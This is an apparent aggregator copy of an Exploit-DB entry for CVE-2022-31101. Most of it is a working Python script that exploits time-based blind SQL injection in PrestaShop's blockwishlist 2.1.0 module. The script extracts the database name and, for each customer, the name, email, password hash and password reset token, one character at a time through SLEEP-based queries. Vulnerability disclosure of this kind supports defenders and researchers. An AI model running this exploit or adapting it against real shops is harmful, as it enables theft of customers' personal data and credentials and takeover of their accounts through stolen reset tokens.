4

[webapps] Prestashop blockwishlist module 2.1.0 - SQLi

 1 year ago
source link: https://www.exploit-db.com/exploits/51001
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Prestashop blockwishlist module 2.1.0 - SQLi

EDB-ID:

51001

EDB Verified:


Exploit:

  /  

Platform:

PHP

Date:

2022-08-09

Vulnerable App:

# Exploit Title: Prestashop blockwishlist module 2.1.0 - SQLi
# Date: 29/07/22
# Exploit Author: Karthik UJ (@5up3r541y4n)
# Vendor Homepage: https://www.prestashop.com/en
# Software Link (blockwishlist): https://github.com/PrestaShop/blockwishlist/releases/tag/v2.1.0
# Software Link (prestashop): https://hub.docker.com/r/prestashop/prestashop/
# Version (blockwishlist): 2.1.0
# Version (prestashop): 1.7.8.1
# Tested on: Linux
# CVE: CVE-2022-31101


# This exploit assumes that the website uses 'ps_' as prefix for the table names since it is the default prefix given by PrestaShop

import requests

url = input("Enter the url of wishlist's endpoint (http://website.com/module/blockwishlist/view?id_wishlist=1): ") # Example: http://website.com/module/blockwishlist/view?id_wishlist=1
cookie = input("Enter cookie value:\n")

header = {
    "Cookie": cookie
}

# Define static stuff
param = "&order="
staticStart = "p.name, (select case when ("
staticEnd = ") then (SELECT SLEEP(7)) else 1 end); -- .asc"
charset = 'abcdefghijklmnopqrstuvwxyz1234567890_-@!#$%&\'*+/=?^`{|}~'
charset = list(charset)
emailCharset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_-@!#$%&\'*+/=?^`{|}~.'
emailCharset = list(emailCharset)


# Query current database name length
print("\nFinding db name's length:")
for length in range(1, 65):
    condition = "LENGTH(database())=" + str(length)
    fullUrl = url + param + staticStart + condition + staticEnd

    try:
        req = requests.get(fullUrl, headers=header, timeout=8)
    except requests.exceptions.Timeout:
        dbLength=length
        print("Length: ", length, end='')
        print("\n")
        break

print("Enumerating current database name:")
databaseName = ''
for i in range(1, dbLength+1):
    for char in charset:
        condition = "(SUBSTRING(database()," + str(i) + ",1)='" + char + "')"
        fullUrl = url + param + staticStart + condition + staticEnd

        try:
            req = requests.get(fullUrl, headers=header, timeout=8)
        except requests.exceptions.Timeout:
            print(char, end='')
            databaseName += char
            break
print()

# Enumerate any table
prefix = "ps_"
tableName = prefix + "customer"
staticStart = "p.name, (select case when ("
staticEnd1 = ") then (SELECT SLEEP(7)) else 1 end from " + tableName + " where id_customer="
staticEnd2 = "); -- .asc"

print("\nEnumerating " + tableName + " table")

for id in range(1, 10):

    condition = "id_customer=" + str(id)
    fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2

    try:
        req = requests.get(fullUrl, headers=header, timeout=8)
        print("\nOnly " + str(id - 1) + " records found. Exiting...")
        break
    except requests.exceptions.Timeout:
        pass

    print("\nid = " + str(id))

    # Finding firstname length
    for length in range(0, 100):
        condition = "LENGTH(firstname)=" + str(length)
        fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
        
        try:
            req = requests.get(fullUrl, headers=header, timeout=8)
        except requests.exceptions.Timeout:
            firstnameLength=length
            print("Firstname length: ", length, end='')
            print()
            break
        
    
    # Enumerate firstname
    firstname = ''
    print("Firstname: ", end='')
    for i in range(1, length+1):
        for char in charset:
            condition = "SUBSTRING(firstname," + str(i) + ",1)='" + char + "'"
            fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2

            try:
                req = requests.get(fullUrl, headers=header, timeout=8)
            except requests.exceptions.Timeout:
                print(char, end='')
                firstname += char
                break
    print()

    # Finding lastname length
    for length in range(1, 100):
        condition = "LENGTH(lastname)=" + str(length)
        fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
        
        try:
            req = requests.get(fullUrl, headers=header, timeout=8)
        except requests.exceptions.Timeout:
            lastnameLength=length
            print("Lastname length: ", length, end='')
            print()
            break
    
    # Enumerate lastname
    lastname = ''
    print("Lastname: ", end='')
    for i in range(1, length+1):
        for char in charset:
            condition = "SUBSTRING(lastname," + str(i) + ",1)='" + char + "'"
            fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2

            try:
                req = requests.get(fullUrl, headers=header, timeout=8)
            except requests.exceptions.Timeout:
                print(char, end='')
                firstname += char
                break
    print()

    # Finding email length
    for length in range(1, 320):
        condition = "LENGTH(email)=" + str(length)
        fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
        
        try:
            req = requests.get(fullUrl, headers=header, timeout=8)
        except requests.exceptions.Timeout:
            emailLength=length
            print("Email length: ", length, end='')
            print()
            break    

    # Enumerate email
    email = ''
    print("Email: ", end='')
    for i in range(1, length+1):
        for char in emailCharset:
            condition = "SUBSTRING(email," + str(i) + ",1)= BINARY '" + char + "'"
            fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2

            try:
                req = requests.get(fullUrl, headers=header, timeout=8)
                if req.status_code == 500 and char == '.':
                    print(char, end='')
                    email += char
            except requests.exceptions.Timeout:
                print(char, end='')
                email += char
                break
    print()

    # Finding password hash length
    for length in range(1, 500):
        condition = "LENGTH(passwd)=" + str(length)
        fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
        
        try:
            req = requests.get(fullUrl, headers=header, timeout=8)
        except requests.exceptions.Timeout:
            passwordHashLength=length
            print("Password hash length: ", length, end='')
            print()
            break    

    # Enumerate password hash
    passwordHash = ''
    print("Password hash: ", end='')
    for i in range(1, length+1):
        for char in emailCharset:
            condition = "SUBSTRING(passwd," + str(i) + ",1)= BINARY '" + char + "'"
            fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2

            try:
                req = requests.get(fullUrl, headers=header, timeout=8)
                if req.status_code == 500 and char == '.':
                    print(char, end='')
                    passwordHash += char
            except requests.exceptions.Timeout:
                print(char, end='')
                passwordHash += char
                break
    print()

    # Finding password reset token length
    for length in range(0, 500):
        condition = "LENGTH(reset_password_token)=" + str(length)
        fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
        
        try:
            req = requests.get(fullUrl, headers=header, timeout=8)
        except requests.exceptions.Timeout:
            passwordResetTokenLength=length
            print("Password reset token length: ", length, end='')
            print()
            break    

    # Enumerate password reset token
    passwordResetToken = ''
    print("Password reset token: ", end='')
    for i in range(1, length+1):
        for char in emailCharset:
            condition = "SUBSTRING(reset_password_token," + str(i) + ",1)= BINARY '" + char + "'"
            fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2

            try:
                req = requests.get(fullUrl, headers=header, timeout=8)
                if req.status_code == 500 and char == '.':
                    print(char, end='')
                    passwordResetToken += char
            except requests.exceptions.Timeout:
                print(char, end='')
                passwordResetToken += char
                break
    print()
            

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK